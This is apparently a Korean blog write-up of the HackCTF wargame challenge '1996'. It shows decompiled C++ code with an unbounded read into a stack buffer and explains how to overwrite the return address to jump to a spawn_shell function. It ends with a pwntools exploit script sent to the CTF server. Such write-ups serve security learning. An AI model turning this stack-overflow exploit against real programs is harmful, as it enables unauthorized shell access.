wargame/HACKCTF
1996
amoogotomollayo
2022. 3. 23. 19:50
이번 문제도 C++ 문제입니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
__int64 v5; // rdx
__int64 v6; // rbx
char *v7; // rax
__int64 v8; // rdx
__int64 v9; // rax
char name[1040]; // [rsp+0h] [rbp-410h] BYREF
std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
std::operator>><char,std::char_traits<char>>(&std::cin, name);
v4 = std::operator<<<std::char_traits<char>>(&_bss_start, name, v3);
v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
v7 = getenv(name);
v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
return 0;
}
사용자가 입력한 값이 환경변수이면 해당 내용을 출력하는 프로그램입니다.
맨 처음에는 환경변수를 이용하는 문제인가라고 생각했지만 함수를 보다 보니 spawn_shell이라는 함수를 발견했습니다.
그래서 BOF를 통해 RET를 변조하면 되는 문제입니다.
name + SFP + spawn_shell 페이로드를 입력하면 문제를 해결할 수 있습니다.
코드와 결과는 아래와 같습니다.
from pwn import *
context.log_level = 'debug'
r = remote("ctf.j0n9hyun.xyz", 3013)
flag = 0x0000000000400897
payload = b"A" * 0x410 + b"B" * 0x8 + p64(flag)
r.sendline(payload)
r.recv()
r.recv()
r.interactive()